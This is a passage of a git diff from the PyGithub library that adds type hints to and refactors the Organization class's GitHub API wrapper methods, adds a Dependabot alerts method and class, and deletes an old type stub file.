isinstance(selected_repository_ids, list) and all( - isinstance(repo_id, int) for repo_id in selected_repository_ids - ), selected_repository_ids - - _headers, _data = self._requester.requestJsonAndCheck( - "PUT", - f"{self.url}/actions/secrets/{secret_name}/repositories", - input={"selected_repository_ids": selected_repository_ids}, - ) - - def add_secret_selected_repository(self, secret_name, repository_id): - """ - :calls: `PUT /orgs/{org}/actions/secrets/{secret_name}/repositories/{repository_id} `_ - :param secret_name: string - :param repository_id: int - """ - assert isinstance(secret_name, str), secret_name - assert isinstance(repository_id, int), repository_id - - _headers, _data = self._requester.requestJsonAndCheck( - "PUT", - f"{self.url}/actions/secrets/{secret_name}/repositories/{repository_id}", - ) - - def remove_secret_selected_repository(self, secret_name, repository_id): - """ - :calls: `DELETE /orgs/{org}/actions/secrets/{secret_name}/repositories/{repository_id} `_ - :param secret_name: string - :param repository_id: int - """ - assert isinstance(secret_name, str), secret_name - assert isinstance(repository_id, int), repository_id - - _headers, _data = self._requester.requestJsonAndCheck( - "DELETE", - f"{self.url}/actions/secrets/{secret_name}/repositories/{repository_id}", - ) - - def get_self_hosted_runner(self, runner_id): + def get_self_hosted_runner(self, runner_id: int) -> SelfHostedActionsRunner: """ :calls: `GET /orgs/{org}/actions/runners/{id} `_ :param runner_id: int :rtype: :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` """ assert isinstance(runner_id, int), runner_id - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/runners/{runner_id}" - ) - return github.SelfHostedActionsRunner.SelfHostedActionsRunner( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/runners/{runner_id}") + return github.SelfHostedActionsRunner.SelfHostedActionsRunner(self._requester, headers, data, completed=True) - def remove_self_hosted_runner(self, runner): + def remove_self_hosted_runner(self, runner: int | github.SelfHostedActionsRunner.SelfHostedActionsRunner) -> bool: """ :calls: `DELETE /orgs/{org}/actions/runners/{runner_id} `_ :param runner: int or :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` :rtype: bool """ - assert isinstance( - runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner - ) or isinstance(runner, int), runner + assert isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner) or isinstance( + runner, int + ), runner if isinstance(runner, github.SelfHostedActionsRunner.SelfHostedActionsRunner): runner = runner.id - status, _, _ = self._requester.requestJson( - "DELETE", f"{self.url}/actions/runners/{runner}" - ) + status, _, _ = self._requester.requestJson("DELETE", f"{self.url}/actions/runners/{runner}") return status == 204 - def get_self_hosted_runners(self): + def get_self_hosted_runners(self) -> PaginatedList[SelfHostedActionsRunner]: """ :calls: `GET /orgs/{org}/actions/runners `_ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.SelfHostedActionsRunner.SelfHostedActionsRunner` @@ -1176,19 +1028,17 @@ def get_self_hosted_runners(self): list_item="runners", ) - def get_self_hosted_action_runner_registration_token(self): + def get_self_hosted_action_runner_registration_token(self) -> SelfHostedActionsRunnerRegistrationToken: """ :calls: POST /orgs/{org}/actions/runners/registration-token :rtype: :class:`github.SelfHostedActionsRunnerRegistrationToken.SelfHostedActionsRunnerRegistrationToken` """ - headers, data = self._requester.requestJsonAndCheck( - "POST", f"{self.url}/actions/runners/registration-token" - ) + headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/actions/runners/registration-token") return github.SelfHostedActionsRunnerRegistrationToken.SelfHostedActionsRunnerRegistrationToken( self._requester, headers, data, completed=True ) - def remove_outside_collaborator(self, collaborator): + def remove_outside_collaborator(self, collaborator: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/outside_collaborators/{username} `_ :param collaborator: :class:`github.NamedUser.NamedUser` @@ -1199,7 +1049,7 @@ def remove_outside_collaborator(self, collaborator): "DELETE", f"{self.url}/outside_collaborators/{collaborator._identity}" ) - def convert_to_outside_collaborator(self, member): + def convert_to_outside_collaborator(self, member: NamedUser) -> None: """ :calls: `PUT /orgs/{org}/outside_collaborators/{username} `_ :param member: :class:`github.NamedUser.NamedUser` @@ -1210,61 +1060,48 @@ def convert_to_outside_collaborator(self, member): "PUT", f"{self.url}/outside_collaborators/{member._identity}" ) - def get_public_key(self): + def get_public_key(self) -> PublicKey: """ :calls: `GET /orgs/{org}/actions/secrets/public-key `_ :rtype: :class:`github.PublicKey.PublicKey` """ - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/actions/secrets/public-key" - ) - return github.PublicKey.PublicKey( - self._requester, headers, data, completed=True - ) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/actions/secrets/public-key") + return github.PublicKey.PublicKey(self._requester, headers, data, completed=True) - def get_repo(self, name): + def get_repo(self, name: str) -> Repository: """ :calls: `GET /repos/{owner}/{repo} `_ :param name: string :rtype: :class:`github.Repository.Repository` """ assert isinstance(name, str), name + name = urllib.parse.quote(name) headers, data = self._requester.requestJsonAndCheck( "GET", f"/repos/{self.login}/{name}", headers={"Accept": Consts.repoVisibilityPreview}, ) - return github.Repository.Repository( - self._requester, headers, data, completed=True - ) + return github.Repository.Repository(self._requester, headers, data, completed=True) def get_repos( self, - type=github.GithubObject.NotSet, - sort=github.GithubObject.NotSet, - direction=github.GithubObject.NotSet, - ): + type: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[Repository]: """ :calls: `GET /orgs/{org}/repos `_ :param type: string ('all', 'public', 'private', 'forks', 'sources', 'member') :param sort: string ('created', 'updated', 'pushed', 'full_name') :param direction: string ('asc', desc') - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Repository.Repository` - """ - assert type is github.GithubObject.NotSet or isinstance(type, str), type - assert sort is github.GithubObject.NotSet or isinstance(sort, str), sort - assert direction is github.GithubObject.NotSet or isinstance( - direction, str - ), direction - - url_parameters = dict() - if type is not github.GithubObject.NotSet: - url_parameters["type"] = type - if sort is not github.GithubObject.NotSet: - url_parameters["sort"] = sort - if direction is not github.GithubObject.NotSet: - url_parameters["direction"] = direction - return github.PaginatedList.PaginatedList( + """ + assert is_optional(type, str), type + assert is_optional(sort, str), sort + assert is_optional(direction, str), direction + + url_parameters = NotSet.remove_unset_items({"type": type, "sort": sort, "direction": direction}) + + return PaginatedList( github.Repository.Repository, self._requester, f"{self.url}/repos", @@ -1272,43 +1109,34 @@ def get_repos( headers={"Accept": Consts.repoVisibilityPreview}, ) - def get_team(self, id): + def get_team(self, id: int) -> Team: """ :calls: `GET /teams/{id} `_ - :param id: integer - :rtype: :class:`github.Team.Team` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"/teams/{id}") return github.Team.Team(self._requester, headers, data, completed=True) - def get_team_by_slug(self, slug): + def get_team_by_slug(self, slug: str) -> Team: """ :calls: `GET /orgs/{org}/teams/{team_slug} `_ - :param slug: string - :rtype: :class:`github.Team.Team` """ assert isinstance(slug, str), slug - headers, data = self._requester.requestJsonAndCheck( - "GET", f"{self.url}/teams/{slug}" - ) + slug = urllib.parse.quote(slug) + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/teams/{slug}") return github.Team.Team(self._requester, headers, data, completed=True) - def get_teams(self): + def get_teams(self) -> PaginatedList[Team]: """ :calls: `GET /orgs/{org}/teams `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ - return github.PaginatedList.PaginatedList( - github.Team.Team, self._requester, f"{self.url}/teams", None - ) + return PaginatedList(github.Team.Team, self._requester, f"{self.url}/teams", None) - def invitations(self): + def invitations(self) -> PaginatedList[NamedUser]: """ :calls: `GET /orgs/{org}/invitations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/invitations", @@ -1318,11 +1146,11 @@ def invitations(self): def invite_user( self, - user=github.GithubObject.NotSet, - email=github.GithubObject.NotSet, - role=github.GithubObject.NotSet, - teams=github.GithubObject.NotSet, - ): + user: Opt[NamedUser] = NotSet, + email: Opt[str] = NotSet, + role: Opt[str] = NotSet, + teams: Opt[list[Team]] = NotSet, + ) -> None: """ :calls: `POST /orgs/{org}/invitations `_ :param user: :class:`github.NamedUser.NamedUser` @@ -1331,25 +1159,20 @@ def invite_user( :param teams: array of :class:`github.Team.Team` :rtype: None """ - assert user is github.GithubObject.NotSet or isinstance( - user, github.NamedUser.NamedUser - ), user - assert email is github.GithubObject.NotSet or isinstance(email, str), email - assert (email is github.GithubObject.NotSet) ^ ( - user is github.GithubObject.NotSet - ), "specify only one of email or user" - parameters = {} - if user is not github.GithubObject.NotSet: + assert is_optional(user, github.NamedUser.NamedUser), user + assert is_optional(email, str), email + assert is_defined(email) != is_defined(user), "specify only one of email or user" + + assert is_undefined(role) or role in ["admin", "direct_member", "billing_manager"], role + assert is_optional_list(teams, github.Team.Team), teams + + parameters: dict[str, Any] = NotSet.remove_unset_items({"email": email, "role": role}) + + if is_defined(user): parameters["invitee_id"] = user.id - elif email is not github.GithubObject.NotSet: - parameters["email"] = email - if role is not github.GithubObject.NotSet: - assert isinstance(role, str), role - assert role in ["admin", "direct_member", "billing_manager"] - parameters["role"] = role - if teams is not github.GithubObject.NotSet: - assert all(isinstance(team, github.Team.Team) for team in teams) + if is_defined(teams): parameters["team_ids"] = [t.id for t in teams] + headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/invitations", @@ -1357,35 +1180,29 @@ def invite_user( input=parameters, ) - def cancel_invitation(self, invitee): + def cancel_invitation(self, invitee: NamedUser) -> bool: """ :calls: `DELETE /orgs/{org}/invitations/{invitation_id} `_ :param invitee: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(invitee, github.NamedUser.NamedUser), invitee - status, headers, data = self._requester.requestJson( - "DELETE", f"{self.url}/invitations/{invitee.id}" - ) + status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/invitations/{invitee.id}") return status == 204 - def has_in_members(self, member): + def has_in_members(self, member: NamedUser) -> bool: """ :calls: `GET /orgs/{org}/members/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: bool """ assert isinstance(member, github.NamedUser.NamedUser), member - status, headers, data = self._requester.requestJson( - "GET", f"{self.url}/members/{member._identity}" - ) + status, headers, data = self._requester.requestJson("GET", f"{self.url}/members/{member._identity}") if status == 302: - status, headers, data = self._requester.requestJson( - "GET", headers["location"] - ) + status, headers, data = self._requester.requestJson("GET", headers["location"]) return status == 204 - def has_in_public_members(self, public_member): + def has_in_public_members(self, public_member: NamedUser) -> bool: """ :calls: `GET /orgs/{org}/public_members/{user} `_ :param public_member: :class:`github.NamedUser.NamedUser` @@ -1397,29 +1214,25 @@ def has_in_public_members(self, public_member): ) return status == 204 - def remove_from_membership(self, member): + def remove_from_membership(self, member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/memberships/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/memberships/{member._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/memberships/{member._identity}") - def remove_from_members(self, member): + def remove_from_members(self, member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/members/{user} `_ :param member: :class:`github.NamedUser.NamedUser` :rtype: None """ assert isinstance(member, github.NamedUser.NamedUser), member - headers, data = self._requester.requestJsonAndCheck( - "DELETE", f"{self.url}/members/{member._identity}" - ) + headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.url}/members/{member._identity}") - def remove_from_public_members(self, public_member): + def remove_from_public_members(self, public_member: NamedUser) -> None: """ :calls: `DELETE /orgs/{org}/public_members/{user} `_ :param public_member: :class:`github.NamedUser.NamedUser` @@ -1432,10 +1245,10 @@ def remove_from_public_members(self, public_member): def create_migration( self, - repos, - lock_repositories=github.GithubObject.NotSet, - exclude_attachments=github.GithubObject.NotSet, - ): + repos: list[str], + lock_repositories: Opt[bool] = NotSet, + exclude_attachments: Opt[bool] = NotSet, + ) -> Migration: """ :calls: `POST /orgs/{org}/migrations `_ :param repos: list or tuple of str @@ -1445,33 +1258,30 @@ def create_migration( """ assert isinstance(repos, (list, tuple)), repos assert all(isinstance(repo, str) for repo in repos), repos - assert lock_repositories is github.GithubObject.NotSet or isinstance( - lock_repositories, bool - ), lock_repositories - assert exclude_attachments is github.GithubObject.NotSet or isinstance( - exclude_attachments, bool - ), exclude_attachments - post_parameters = {"repositories": repos} - if lock_repositories is not github.GithubObject.NotSet: - post_parameters["lock_repositories"] = lock_repositories - if exclude_attachments is not github.GithubObject.NotSet: - post_parameters["exclude_attachments"] = exclude_attachments + assert is_optional(lock_repositories, bool), lock_repositories + assert is_optional(exclude_attachments, bool), exclude_attachments + post_parameters = NotSet.remove_unset_items( + { + "repositories": repos, + "lock_repositories": lock_repositories, + "exclude_attachments": exclude_attachments, + } + ) + headers, data = self._requester.requestJsonAndCheck( "POST", f"/orgs/{self.login}/migrations", input=post_parameters, headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - return github.Migration.Migration( - self._requester, headers, data, completed=True - ) + return github.Migration.Migration(self._requester, headers, data, completed=True) - def get_migrations(self): + def get_migrations(self) -> PaginatedList[Migration]: """ :calls: `GET /orgs/{org}/migrations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Migration.Migration` + :rtype: :class:`PaginatedList` of :class:`github.Migration.Migration` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Migration.Migration, self._requester, f"/orgs/{self.login}/migrations", @@ -1479,13 +1289,13 @@ def get_migrations(self): headers={"Accept": Consts.mediaTypeMigrationPreview}, ) - def get_installations(self): + def get_installations(self) -> PaginatedList[Installation]: """ :calls: `GET /orgs/{org}/installations `_ - :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.Installation.Installation` + :rtype: :class:`PaginatedList` of :class:`github.Installation.Installation` """ - return github.PaginatedList.PaginatedList( + return PaginatedList( github.Installation.Installation, self._requester, f"{self.url}/installations", @@ -1494,46 +1304,58 @@ def get_installations(self): list_item="installations", ) - def _initAttributes(self): - self._default_repository_permission = github.GithubObject.NotSet - self._has_organization_projects = github.GithubObject.NotSet - self._has_repository_projects = github.GithubObject.NotSet - self._hooks_url = github.GithubObject.NotSet - self._issues_url = github.GithubObject.NotSet - self._members_can_create_repositories = github.GithubObject.NotSet - self._two_factor_requirement_enabled = github.GithubObject.NotSet - self._avatar_url = github.GithubObject.NotSet - self._billing_email = github.GithubObject.NotSet - self._blog = github.GithubObject.NotSet - self._collaborators = github.GithubObject.NotSet - self._company = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._description = github.GithubObject.NotSet - self._disk_usage = github.GithubObject.NotSet - self._email = github.GithubObject.NotSet - self._events_url = github.GithubObject.NotSet - self._followers = github.GithubObject.NotSet - self._following = github.GithubObject.NotSet - self._gravatar_id = github.GithubObject.NotSet - self._html_url = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._location = github.GithubObject.NotSet - self._login = github.GithubObject.NotSet - self._members_url = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._owned_private_repos = github.GithubObject.NotSet - self._plan = github.GithubObject.NotSet - self._private_gists = github.GithubObject.NotSet - self._public_gists = github.GithubObject.NotSet - self._public_members_url = github.GithubObject.NotSet - self._public_repos = github.GithubObject.NotSet - self._repos_url = github.GithubObject.NotSet - self._total_private_repos = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def get_dependabot_alerts( + self, + state: Opt[str] = NotSet, + severity: Opt[str] = NotSet, + ecosystem: Opt[str] = NotSet, + package: Opt[str] = NotSet, + scope: Opt[str] = NotSet, + sort: Opt[str] = NotSet, + direction: Opt[str] = NotSet, + ) -> PaginatedList[OrganizationDependabotAlert]: + """ + :calls: `GET /orgs/{org}/dependabot/alerts `_ + :param state: Optional string + :param severity: Optional string + :param ecosystem: Optional string + :param package: Optional string + :param scope: Optional string + :param sort: Optional string + :param direction: Optional string + :rtype: :class:`PaginatedList` of :class:`github.DependabotAlert.DependabotAlert` + """ + allowed_states = ["auto_dismissed", "dismissed", "fixed", "open"] + allowed_severities = ["low", "medium", "high", "critical"] + allowed_ecosystems = ["composer", "go", "maven", "npm", "nuget", "pip", "pub", "rubygems", "rust"] + allowed_scopes = ["development", "runtime"] + allowed_sorts = ["created", "updated"] + allowed_directions = ["asc", "desc"] + assert state in allowed_states + [NotSet], f"State can be one of {', '.join(allowed_states)}" + assert severity in allowed_severities + [NotSet], f"Severity can be one of {', '.join(allowed_severities)}" + assert ecosystem in allowed_ecosystems + [NotSet], f"Ecosystem can be one of {', '.join(allowed_ecosystems)}" + assert scope in allowed_scopes + [NotSet], f"Scope can be one of {', '.join(allowed_scopes)}" + assert sort in allowed_sorts + [NotSet], f"Sort can be one of {', '.join(allowed_sorts)}" + assert direction in allowed_directions + [NotSet], f"Direction can be one of {', '.join(allowed_directions)}" + url_parameters = NotSet.remove_unset_items( + { + "state": state, + "severity": severity, + "ecosystem": ecosystem, + "package": package, + "scope": scope, + "sort": sort, + "direction": direction, + } + ) + return PaginatedList( + github.OrganizationDependabotAlert.OrganizationDependabotAlert, + self._requester, + f"{self.url}/dependabot/alerts", + url_parameters, + ) + + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "avatar_url" in attributes: # pragma no branch self._avatar_url = self._makeStringAttribute(attributes["avatar_url"]) if "billing_email" in attributes: # pragma no branch @@ -1547,9 +1369,7 @@ def _useAttributes(self, attributes): if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "default_repository_permission" in attributes: # pragma no branch - self._default_repository_permission = self._makeStringAttribute( - attributes["default_repository_permission"] - ) + self._default_repository_permission = self._makeStringAttribute(attributes["default_repository_permission"]) if "description" in attributes: # pragma no branch self._description = self._makeStringAttribute(attributes["description"]) if "disk_usage" in attributes: # pragma no branch @@ -1565,13 +1385,9 @@ def _useAttributes(self, attributes): if "gravatar_id" in attributes: # pragma no branch self._gravatar_id = self._makeStringAttribute(attributes["gravatar_id"]) if "has_organization_projects" in attributes: # pragma no branch - self._has_organization_projects = self._makeBoolAttribute( - attributes["has_organization_projects"] - ) + self._has_organization_projects = self._makeBoolAttribute(attributes["has_organization_projects"]) if "has_repository_projects" in attributes: # pragma no branch - self._has_repository_projects = self._makeBoolAttribute( - attributes["has_repository_projects"] - ) + self._has_repository_projects = self._makeBoolAttribute(attributes["has_repository_projects"]) if "hooks_url" in attributes: # pragma no branch self._hooks_url = self._makeStringAttribute(attributes["hooks_url"]) if "html_url" in attributes: # pragma no branch @@ -1593,9 +1409,7 @@ def _useAttributes(self, attributes): if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "owned_private_repos" in attributes: # pragma no branch - self._owned_private_repos = self._makeIntAttribute( - attributes["owned_private_repos"] - ) + self._owned_private_repos = self._makeIntAttribute(attributes["owned_private_repos"]) if "plan" in attributes: # pragma no branch self._plan = self._makeClassAttribute(github.Plan.Plan, attributes["plan"]) if "private_gists" in attributes: # pragma no branch @@ -1603,21 +1417,15 @@ def _useAttributes(self, attributes): if "public_gists" in attributes: # pragma no branch self._public_gists = self._makeIntAttribute(attributes["public_gists"]) if "public_members_url" in attributes: # pragma no branch - self._public_members_url = self._makeStringAttribute( - attributes["public_members_url"] - ) + self._public_members_url = self._makeStringAttribute(attributes["public_members_url"]) if "public_repos" in attributes: # pragma no branch self._public_repos = self._makeIntAttribute(attributes["public_repos"]) if "repos_url" in attributes: # pragma no branch self._repos_url = self._makeStringAttribute(attributes["repos_url"]) if "total_private_repos" in attributes: # pragma no branch - self._total_private_repos = self._makeIntAttribute( - attributes["total_private_repos"] - ) + self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "two_factor_requirement_enabled" in attributes: # pragma no branch - self._two_factor_requirement_enabled = self._makeBoolAttribute( - attributes["two_factor_requirement_enabled"] - ) + self._two_factor_requirement_enabled = self._makeBoolAttribute(attributes["two_factor_requirement_enabled"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch diff --git a/github/Organization.pyi b/github/Organization.pyi deleted file mode 100644 index d8bab00f65..0000000000 --- a/github/Organization.pyi +++ /dev/null @@ -1,242 +0,0 @@ -from datetime import datetime -from typing import Any, Dict, List, Optional, Union - -from github.Event import Event -from github.GithubObject import CompletableGithubObject, _NotSetType -from github.Hook import Hook -from github.Issue import Issue -from github.Label import Label -from github.Migration import Migration -from github.Installation import Installation -from github.NamedUser import NamedUser -from github.PaginatedList import PaginatedList -from github.Plan import Plan -from github.Project import Project -from github.PublicKey import PublicKey -from github.Repository import Repository -from github.Secret import Secret -from github.SelfHostedActionsRunner import SelfHostedActionsRunner -from github.SelfHostedActionsRunnerRegistrationToken import SelfHostedActionsRunnerRegistrationToken -from github.Team import Team - -class Organization(CompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - def add_to_members( - self, member: NamedUser, role: Union[_NotSetType, str] = ... - ) -> None: ... - def add_to_public_members(self, public_member: NamedUser) -> None: ... - @property - def avatar_url(self) -> str: ... - @property - def billing_email(self) -> str: ... - @property - def blog(self) -> Optional[str]: ... - @property - def collaborators(self) -> int: ... - @property - def company(self) -> Optional[str]: ... - def convert_to_outside_collaborator(self, member: NamedUser) -> None: ... - def create_fork(self, repo: Repository) -> Repository: ... - def create_hook( - self, - name: str, - config: Dict[str, str], - events: Union[_NotSetType, List[str]] = ..., - active: Union[bool, _NotSetType] = ..., - ) -> Hook: ... - def create_migration( - self, - repos: List[str], - lock_repositories: Union[bool, _NotSetType] = ..., - exclude_attachments: Union[bool, _NotSetType] = ..., - ) -> Migration: ... - def get_public_key(self) -> PublicKey: ... - def create_or_update_secret( - self, secret_name: str, - secret_value: str, - visibility: str, - selected_repository_ids: Optional[List[int]] = None - ) -> bool: ... - def get_secret(self, secret_name) -> Secret: ... - def get_secrets(self) -> PaginatedList[Secret]: ... - def list_secret_selected_repositories(self, secret_name: str) -> PaginatedList[Repository]: ... - def set_secret_selected_repositories(self, secret_name: str, selected_repository_ids: List[str]) -> None: ... - def add_secret_selected_repository(self, secret_name: str, repository_id: str) -> None: ... - def remove_secret_selected_repository(self, secret_name: str, repository_id: str) -> None: ... - def delete_secret(self, secret_name: str): ... - def get_self_hosted_runner(self, runner_id: int) -> SelfHostedActionsRunner: ... - def remove_self_hosted_runner(self, runner: Union[SelfHostedActionsRunner, int]) -> bool: ... - def get_self_hosted_runners(self) -> PaginatedList[SelfHostedActionsRunner]: ... - def get_self_hosted_action_runner_registration_token(self) -> SelfHostedActionsRunnerRegistrationToken: ... - def create_repo( - self, - name: str, - description: Union[str, _NotSetType] = ..., - homepage: Union[str, _NotSetType] = ..., - private: Union[bool, _NotSetType] = ..., - has_issues: Union[bool, _NotSetType] = ..., - has_wiki: Union[bool, _NotSetType] = ..., - has_downloads: Union[bool, _NotSetType] = ..., - has_projects: Union[bool, _NotSetType] = ..., - team_id: Union[int, _NotSetType] = ..., - auto_init: Union[bool, _NotSetType] = ..., - license_template: Union[str, _NotSetType] = ..., - gitignore_template: Union[str, _NotSetType] = ..., - allow_squash_merge: Union[bool, _NotSetType] = ..., - allow_merge_commit: Union[bool, _NotSetType] = ..., - allow_rebase_merge: Union[bool, _NotSetType] = ..., - delete_branch_on_merge: Union[bool, _NotSetType] = ..., - ) -> Repository: ... - def create_secret( - self, - secret_name: str, - unencrypted_value: str, - visibility: str = ..., - selected_repositories: Union[List[Repository], _NotSetType] = ..., - ) -> bool: ... - def create_team( - self, - name: str, - repo_names: Union[List[Repository], _NotSetType] = ..., - permission: Union[str, _NotSetType] = ..., - privacy: Union[str, _NotSetType] = ..., - description: Union[str, _NotSetType] = ..., - ) -> Team: ... - @property - def created_at(self) -> datetime: ... - def delete_hook(self, id: int) -> None: ... - @property - def default_repository_permission(self) -> str: ... - def delete_secret(self, secret_name: str) -> bool: ... - @property - def description(self) -> str: ... - @property - def disk_usage(self) -> int: ... - def edit( - self, - billing_email: Union[str, _NotSetType] = ..., - blog: Union[str, _NotSetType] = ..., - company: Union[str, _NotSetType] = ..., - description: Union[str, _NotSetType] = ..., - email: Union[str, _NotSetType] = ..., - location: Union[str, _NotSetType] = ..., - name: Union[str, _NotSetType] = ..., - ) -> None: ... - def edit_hook( - self, - id: int, - name: str, - config: Dict[str, str], - events: Union[_NotSetType, List[str]] = ..., - active: Union[bool, _NotSetType] = ..., - ) -> Hook: ... - @property - def email(self) -> Optional[str]: ... - @property - def events_url(self) -> str: ... - @property - def followers(self) -> int: ... - @property - def following(self) -> int: ... - def get_events(self) -> PaginatedList[Event]: ... - def get_hooks(self) -> PaginatedList[Hook]: ... - def get_issues( - self, - filter: Union[str, _NotSetType] = ..., - state: Union[str, _NotSetType] = ..., - labels: Union[List[Label], _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - since: Union[_NotSetType, datetime] = ..., - ) -> PaginatedList[Issue]: ... - def get_members( - self, - filter_: Union[str, _NotSetType] = ..., - role: Union[str, _NotSetType] = ..., - ) -> PaginatedList[NamedUser]: ... - def get_migrations(self) -> PaginatedList[Migration]: ... - def get_installations(self) -> PaginatedList[Installation]: ... - def get_outside_collaborators( - self, filter_: Union[str, _NotSetType] = ... - ) -> PaginatedList[NamedUser]: ... - def get_projects( - self, state: Union[_NotSetType, str] = ... - ) -> PaginatedList[Project]: ... - def get_public_key(self) -> PublicKey: ... - def get_public_members(self) -> PaginatedList[NamedUser]: ... - def get_repo(self, name: str) -> Repository: ... - def get_repos( - self, - type: Union[str, _NotSetType] = ..., - sort: Union[str, _NotSetType] = ..., - direction: Union[str, _NotSetType] = ..., - ) -> PaginatedList[Repository]: ... - def get_team(self, id: int) -> Team: ... - def get_team_by_slug(self, slug: str) -> Team: ... - def get_teams(self) -> PaginatedList[Team]: ... - @property - def gravatar_id(self) -> str: ... - def has_in_members(self, member: NamedUser) -> bool: ... - def has_in_public_members(self, public_member: NamedUser) -> bool: ... - @property - def has_organization_projects(self) -> bool: ... - @property - def has_repository_projects(self) -> bool: ... - @property - def hooks_url(self) -> str: ... - @property - def html_url(self) -> str: ... - @property - def id(self) -> int: ... - @property - def issues_url(self) -> str: ... - def invitations(self) -> PaginatedList[NamedUser]: ... - def invite_user( - self, - user: Union[_NotSetType, NamedUser] = ..., - email: Union[str, _NotSetType] = ..., - role: Union[str, _NotSetType] = ..., - teams: Union[List[Team], _NotSetType] = ..., - ) -> None: ... - def cancel_invitation(self, invitee: NamedUser) -> bool: ... - @property - def location(self) -> str: ... - @property - def login(self) -> str: ... - @property - def members_can_create_repositories(self) -> bool: ... - @property - def members_url(self) -> str: ... - @property - def name(self) -> Optional[str]: ... - @property - def owned_private_repos(self) -> int: ... - @property - def plan(self) -> Plan: ... - @property - def private_gists(self) -> int: ... - @property - def public_gists(self) -> int: ... - @property - def public_members_url(self) -> str: ... - @property - def public_repos(self) -> int: ... - def remove_from_members(self, member: NamedUser) -> None: ... - def remove_from_membership(self, member: NamedUser) -> None: ... - def remove_from_public_members(self, public_member: NamedUser) -> None: ... - def remove_outside_collaborator(self, collaborator: NamedUser) -> None: ... - def create_project(self, param: str, body: _NotSetType) -> None: ... - @property - def repos_url(self) -> str: ... - @property - def total_private_repos(self) -> int: ... - @property - def two_factor_requirement_enabled(self) -> bool: ... - @property - def type(self) -> str: ... - @property - def updated_at(self) -> datetime: ... - @property - def url(self) -> str: ... diff --git a/github/CodeScanAlertInstance.pyi b/github/OrganizationDependabotAlert.py similarity index 61% rename from github/CodeScanAlertInstance.pyi rename to github/OrganizationDependabotAlert.py index b4b7e0e51d..8b5a0176c8 100644 --- a/github/CodeScanAlertInstance.pyi +++ b/github/OrganizationDependabotAlert.py @@ -1,6 +1,6 @@ ############################ Copyrights and license ############################ # # -# Copyright 2022 Eric Nieuwland # +# Copyright 2024 Thomas Cooper # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,30 +20,29 @@ # # ################################################################################ -from typing import Any, Dict +from __future__ import annotations -import github.GithubObject -import github.CodeScanAlertInstanceLocation +from typing import Any + +import github.DependabotAlert +import github.Repository +from github.GithubObject import Attribute, NotSet + + +class OrganizationDependabotAlert(github.DependabotAlert.DependabotAlert): + """ + This class represents a Dependabot alert on an organization. The reference can be found here https://docs.github.com/en/rest/dependabot/alerts#list-dependabot-alerts-for-an-organization + """ + + def _initAttributes(self) -> None: + super()._initAttributes() + self._repository: Attribute[github.Repository.Repository] = NotSet -class CodeScanAlertInstance(github.GithubObject.NonCompletableGithubObject): - def __repr__(self) -> str: ... - @property - def ref(self) -> str: ... - @property - def analysis_key(self) -> str: ... - @property - def environment(self) -> str: ... - @property - def state(self) -> str: ... - @property - def commit_sha(self) -> str: ... - @property - def message(self) -> str: ... - @property - def location( - self, - ) -> github.CodeScanAlertInstanceLocation.CodeScanAlertInstanceLocation: ... @property - def classifications(self) -> list[str]: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... + def repository(self) -> github.Repository.Repository: + return self._repository.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + super()._useAttributes(attributes) + if "repository" in attributes: + self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) diff --git a/github/OrganizationSecret.py b/github/OrganizationSecret.py new file 